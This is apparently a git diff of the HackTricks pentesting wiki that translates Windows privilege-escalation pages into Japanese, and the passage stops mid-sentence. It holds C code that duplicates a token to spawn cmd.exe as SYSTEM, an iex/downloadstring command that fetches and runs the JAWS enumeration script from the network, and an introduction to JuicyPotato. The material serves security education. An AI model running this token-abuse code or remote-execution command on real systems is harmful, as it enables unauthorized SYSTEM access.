&hImpToken)) { +return -2; +} - // create new primary token for new process - if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, - TokenPrimary, &hNewToken)) { - return -4; - } +// create new primary token for new process +if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, +TokenPrimary, &hNewToken)) { +return -4; +} - //Sleep(20000); - // spawn cmd.exe as full SYSTEM user - ZeroMemory(&si, sizeof(si)); - si.cb = sizeof(si); - ZeroMemory(&pi, sizeof(pi)); - if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL, - NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) { - return -5; - } +//Sleep(20000); +// spawn cmd.exe as full SYSTEM user +ZeroMemory(&si, sizeof(si)); +si.cb = sizeof(si); +ZeroMemory(&pi, sizeof(pi)); +if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL, +NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) { +return -5; +} - // revert back to original security context - RevertToSelf(); +// revert back to original security context +RevertToSelf(); - } +} - return 0; +return 0; } ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/windows-hardening/windows-local-privilege-escalation/integrity-levels.md b/windows-hardening/windows-local-privilege-escalation/integrity-levels.md index 1d4822a6d..fa81996ea 100644 --- a/windows-hardening/windows-local-privilege-escalation/integrity-levels.md +++ b/windows-hardening/windows-local-privilege-escalation/integrity-levels.md @@ -1,61 +1,56 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-# Integrity Levels +# 完全性レベル -From Windows Vista, all **protected objects are labeled with an integrity level**. Most user and system files and registry keys on the system have a default label of “medium” integrity. The primary exception is a set of specific folders and files writeable by Internet Explorer 7 at Low integrity. **Most processes** run by **standard users** are labeled with **medium integrity** (even the ones started by a user inside the administrators group), and most **services** are labeled with **System integrity**. The root directory is protected by a high-integrity label.\ -Note that **a process with a lower integrity level can’t write to an object with a higher integrity level.**\ -There are several levels of integrity: +Windows Vista以降、**保護されたオブジェクトは完全性レベルでラベル付け**されます。システム上のほとんどのユーザーおよびシステムファイルやレジストリキーは、デフォルトで「中」の完全性レベルを持ちます。主な例外は、Internet Explorer 7が低完全性で書き込み可能な特定のフォルダとファイルを持っています。**ほとんどの標準ユーザーが実行するプロセス**は、**中の完全性レベル**でラベル付けされます(管理者グループのユーザーが開始したプロセスも同様です)。ほとんどの**サービス**は**システムの完全性レベル**でラベル付けされます。ルートディレクトリは高完全性レベルで保護されています。\ +低完全性レベルのプロセスは、高完全性レベルのオブジェクトに書き込むことはできません。\ +完全性レベルにはいくつかのレベルがあります: -* **Untrusted** – processes that are logged on anonymously are automatically designated as Untrusted. _Example: Chrome_ -* **Low** – The Low integrity level is the level used by default for interaction with the Internet. As long as Internet Explorer is run in its default state, Protected Mode, all files and processes associated with it are assigned the Low integrity level. Some folders, such as the **Temporary Internet Folder**, are also assigned the **Low integrity** level by default. However, note that a **low integrity process** is very **restricted**, it **cannot** write to the **registry** and it’s limited from writing to **most locations** in the current user’s profile. _Example: Internet Explorer or Microsoft Edge_ -* **Medium** – Medium is the context that **most objects will run in**. Standard users receive the Medium integrity level, and any object not explicitly designated with a lower or higher integrity level is Medium by default. Not that a user inside the Administrators group by default will use medium integrity levels. -* **High** – **Administrators** are granted the High integrity level. This ensures that Administrators are capable of interacting with and modifying objects assigned Medium or Low integrity levels, but can also act on other objects with a High integrity level, which standard users can not do. _Example: "Run as Administrator"_ -* **System** – As the name implies, the System integrity level is reserved for the system. The Windows kernel and core services are granted the System integrity level. Being even higher than the High integrity level of Administrators protects these core functions from being affected or compromised even by Administrators. Example: Services -* **Installer** – The Installer integrity level is a special case and is the highest of all integrity levels. By virtue of being equal to or higher than all other WIC integrity levels, objects assigned the Installer integrity level are also able to uninstall all other objects. +* **信頼されていない** - 匿名でログオンしたプロセスは自動的に信頼されていないと指定されます。 _例:Chrome_ +* **低** - 低完全性レベルは、インターネットとのやり取りにデフォルトで使用されるレベルです。Internet Explorerがデフォルトの状態で実行されている限り、保護モードである限り、それに関連するすべてのファイルとプロセスは低完全性レベルに割り当てられます。一部のフォルダ(例:**一時インターネットフォルダ**)もデフォルトで**低完全性**レベルに割り当てられます。ただし、**低完全性プロセス**は非常に**制限されており**、**レジストリ**に書き込むことはできず、現在のユーザーのプロファイルの**ほとんどの場所**に書き込むことが制限されています。 _例:Internet ExplorerまたはMicrosoft Edge_ +* **中** - 中は**ほとんどのオブジェクトが実行されるコンテキスト**です。標準ユーザーは中の完全性レベルを受け取り、明示的に低いまたは高い完全性レベルで指定されていないオブジェクトはデフォルトで中です。ただし、デフォルトでは管理者グループのユーザーも中の完全性レベルを使用します。 +* **高** - **管理者**は高完全性レベルを付与されます。これにより、管理者は中または低完全性レベルに割り当てられたオブジェクトとのやり取りや変更が可能になりますが、標準ユーザーはできません。 _例:「管理者として実行」_ +* **システム** - システムの完全性レベルは、その名前の通り、システムに予約されています。Windowsカーネルとコアサービスはシステムの完全性レベルを付与されます。管理者の高完全性レベルよりも高いため、これらのコア機能は管理者によっても影響を受けたり侵害されたりすることはありません。例:サービス +* **インストーラ** - インストーラの完全性レベルは特殊なケースであり、すべての完全性レベルよりも高いです。インストーラの完全性レベルと等しいかそれよりも高いため、インストーラの完全性レベルに割り当てられたオブジェクトは他のすべてのオブジェクトをアンインストールすることもできます。 -You can get the integrity level of a process using **Process Explorer** from **Sysinternals**, accessing the **properties** of the process and viewing the "**Security**" tab: +プロセスの完全性レベルは、**Sysinternals**の**Process Explorer**を使用して取得できます。プロセスの**プロパティ**にアクセスし、「**セキュリティ**」タブを表示します: ![](<../../.gitbook/assets/image (318).png>) -You can also get your **current integrity level** using `whoami /groups` +`whoami /groups`を使用して、**現在の完全性レベル**を取得することもできます。 ![](<../../.gitbook/assets/image (319).png>) -## Integrity Levels in File-system - -A object inside the file-system may need an **minimum integrity level requirement** and if a process doesn't have this integrity process it won't be able to interact with it.\ -For example, lets **create a regular from a regular user console file and check the permissions**: +## ファイルシステムの完全性レベル +ファイルシステム内のオブジェクトは、**最小の完全性レベル要件**を必要とする場合があります。プロセスにこの完全性プロセスがない場合、それとは対話できません。\ +たとえば、**通常のユーザーコンソールからファイルを作成し、アクセス許可を確認**してみましょう: ``` echo asd >asd.txt icacls asd.txt asd.txt BUILTIN\Administrators:(I)(F) - DESKTOP-IDJHTKP\user:(I)(F) - NT AUTHORITY\SYSTEM:(I)(F) - NT AUTHORITY\INTERACTIVE:(I)(M,DC) - NT AUTHORITY\SERVICE:(I)(M,DC) - NT AUTHORITY\BATCH:(I)(M,DC) +DESKTOP-IDJHTKP\user:(I)(F) +NT AUTHORITY\SYSTEM:(I)(F) +NT AUTHORITY\INTERACTIVE:(I)(M,DC) +NT AUTHORITY\SERVICE:(I)(M,DC) +NT AUTHORITY\BATCH:(I)(M,DC) ``` - -Now, lets assign a minimum integrity level of **High** to the file. This **must be done from a console** running as **administrator** as a **regular console** will be running in Medium Integrity level and **won't be allowed** to assign High Integrity level to an object: - +さて、ファイルに最低の完全性レベルである**High**を割り当てましょう。これは**管理者として実行されるコンソール**から行う必要があります。通常のコンソールは中間完全性レベルで実行されているため、オブジェクトに高い完全性レベルを割り当てることは**許可されません**。 ``` icacls asd.txt /setintegritylevel(oi)(ci) High processed file: asd.txt @@ -63,16 +58,14 @@ Successfully processed 1 files; Failed processing 0 files C:\Users\Public>icacls asd.txt asd.txt BUILTIN\Administrators:(I)(F) - DESKTOP-IDJHTKP\user:(I)(F) - NT AUTHORITY\SYSTEM:(I)(F) - NT AUTHORITY\INTERACTIVE:(I)(M,DC) - NT AUTHORITY\SERVICE:(I)(M,DC) - NT AUTHORITY\BATCH:(I)(M,DC) - Mandatory Label\High Mandatory Level:(NW) +DESKTOP-IDJHTKP\user:(I)(F) +NT AUTHORITY\SYSTEM:(I)(F) +NT AUTHORITY\INTERACTIVE:(I)(M,DC) +NT AUTHORITY\SERVICE:(I)(M,DC) +NT AUTHORITY\BATCH:(I)(M,DC) +Mandatory Label\High Mandatory Level:(NW) ``` - -This is where things get interesting. You can see that the user `DESKTOP-IDJHTKP\user` has **FULL privileges** over the file (indeed this was the user that created the file), however, due to the minimum integrity level implemented he won't be able to modify the file anymore unless he is running inside a High Integrity Level (note that he will be able to read it): - +ここからが興味深い部分です。ユーザー`DESKTOP-IDJHTKP\user`は、このファイルに対して**完全な特権**を持っていることがわかります(実際、このファイルを作成したユーザーです)。しかし、最小の整合性レベルが実装されているため、彼は高い整合性レベルで実行していない限り、ファイルを変更することはできません(ただし、読み取ることはできます)。 ``` echo 1234 > asd.txt Access is denied. @@ -81,52 +74,47 @@ del asd.txt C:\Users\Public\asd.txt Access is denied. ``` - {% hint style="info" %} -**Therefore, when a file has a minimum integrity level, in order to modify it you need to be running at least in that integrity level.** +**したがって、ファイルが最小の整合性レベルを持っている場合、それを変更するためには、少なくともその整合性レベルで実行する必要があります。** {% endhint %} -## Integrity Levels in Binaries - -I made a copy of `cmd.exe` in `C:\Windows\System32\cmd-low.exe` and set it an **integrity level of low from an administrator console:** +## バイナリの整合性レベル +私は`cmd.exe`のコピーを`C:\Windows\System32\cmd-low.exe`に作成し、**管理者コンソールから低い整合性レベルを設定しました:** ``` icacls C:\Windows\System32\cmd-low.exe C:\Windows\System32\cmd-low.exe NT AUTHORITY\SYSTEM:(I)(F) - BUILTIN\Administrators:(I)(F) - BUILTIN\Users:(I)(RX) - APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) - APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(RX) - Mandatory Label\Low Mandatory Level:(NW) +BUILTIN\Administrators:(I)(F) +BUILTIN\Users:(I)(RX) +APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) +APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(RX) +Mandatory Label\Low Mandatory Level:(NW) ``` - -Now, when I run `cmd-low.exe` it will **run under a low-integrity level** instead of a medium one: +今、`cmd-low.exe`を実行すると、**中間の整合性レベル**ではなく、**低い整合性レベルで実行**されます: ![](<../../.gitbook/assets/image (320).png>) -For curious people, if you assign high integrity level to a binary (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`) it won't run with high integrity level automatically (if you invoke it from a medium integrity level --by default-- it will run under a medium integrity level). +興味のある人のために、バイナリに高い整合性レベルを割り当てる場合(`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`)、自動的に高い整合性レベルで実行されません(デフォルトでは中間の整合性レベルから呼び出される場合、中間の整合性レベルで実行されます)。 -## Integrity Levels in Processes +## プロセスにおける整合性レベル -Not all files and folders have a minimum integrity level, **but all processes are running under an integrity level**. And similar to what happened with the file-system, **if a process wants to write inside another process it must have at least the same integrity level**. This means that a process with low integrity level can’t open a handle with full access to a process with medium integrity level. +すべてのファイルとフォルダには最小の整合性レベルがあるわけではありませんが、**すべてのプロセスは整合性レベルの下で実行されます**。そして、ファイルシステムで起こったことと同様に、**プロセスが別のプロセス内に書き込みを行う場合、少なくとも同じ整合性レベルを持っている必要があります**。つまり、低い整合性レベルを持つプロセスは、中間の整合性レベルを持つプロセスに対して完全なアクセス権を持つハンドルを開くことはできません。 -Due to the restrictions commented in this and the previous section, from a security point of view, it's always **recommended to run a process in the lower level of integrity possible**. +このセクションと前のセクションでコメントされた制限により、セキュリティの観点からは、常に**可能な限り低い整合性レベルでプロセスを実行することが推奨されます**。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
- - diff --git a/windows-hardening/windows-local-privilege-escalation/jaws.md b/windows-hardening/windows-local-privilege-escalation/jaws.md index aa91a0221..ec8ccfa27 100644 --- a/windows-hardening/windows-local-privilege-escalation/jaws.md +++ b/windows-hardening/windows-local-privilege-escalation/jaws.md @@ -1,52 +1,48 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# Start - +# スタート ```text iex(New-Object net.WebClient).downloadstring("https://raw.githubusercontent.com/411Hall/JAWS /master/jaws-enum.ps1") ``` +# 情報収集 -# Info recopilation +特権昇格の設定ミスだけでなく、現在の状況に関する情報も収集します。 -It does not only check for privilege escalation missconfiguration, but it also gathers information about the current situation. +* [x] ユーザーとグループ +* [x] ネットワーク(インターフェース、ARP、ポート、ファイアウォール(多くの出力)、**ホスト**) +* [x] プロセス +* [x] スケジュールされたタスク(多くの出力) +* [x] サービス(多くの出力) +* [x] インストールされたソフトウェア、プログラムフォルダ +* [x] パッチ +* [x] ドライブ +* [x] 最後に変更されたファイル -* [x] Users & groups -* [x] Network \(interfaces, arp, ports, firewall \(lot of output\), **hosts**\) -* [x] Processes -* [x] Scheduled Tasks \(lot of output\) -* [x] Services \(lot of output\) -* [x] Installed Software, Program folders -* [x] Patches -* [x] Drives -* [x] Last modified files +# チェック -# Checks - -* [x] Files and folders with Full Control -* [x] Unquoted Service Paths -* [x] Potentially interesting files -* [x] System files with password -* [x] Stored credentials +* [x] フルコントロールのあるファイルとフォルダ +* [x] クォートされていないサービスパス +* [x] 関心がある可能性のあるファイル +* [x] パスワードを持つシステムファイル +* [x] 保存された資格情報 @@ -54,16 +50,14 @@ It does not only check for privilege escalation missconfiguration, but it also g ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 6f5abdf11..2e641291d 100644 --- a/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -4,63 +4,61 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたい**ですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有する**ために、[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** {% hint style="warning" %} -**JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. _**Check:**_ +**JuicyPotatoは**Windows Server 2019とWindows 10ビルド1809以降では動作しません。ただし、[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、**[**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、**[**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)を使用して、同じ特権を利用して`NT AUTHORITY\SYSTEM`レベルのアクセスを取得することができます。_**チェック:**_ {% endhint %} {% content-ref url="roguepotato-and-printspoofer.md" %} [roguepotato-and-printspoofer.md](roguepotato-and-printspoofer.md) {% endcontent-ref %} -## Juicy Potato (abusing the golden privileges) +## Juicy Potato (黄金特権の悪用) -_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_ +_RottenPotatoNG_の砂糖を加えたバージョンで、つまり**WindowsサービスアカウントからNT AUTHORITY\SYSTEMへのローカル特権エスカレーションツール**です。 -#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) +#### juicypotatoは[https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)からダウンロードできます。 -### Summary +### 概要 -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken. +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)とその[バリエーション](https://github.com/decoder-it/lonelypotato)は、[`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [サービス](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126)に基づく特権エスカレーションチェーンを利用します。MiTMリスナーは`127.0.0.1:6666`で動作し、`SeImpersonate`または`SeAssignPrimaryToken`の特権を持っている場合に使用されます。Windowsビルドのレビュー中に、意図的に`BITS`が無効にされ、ポート`6666`が使用されているセットアップを見つけました。 -We decided to weaponize 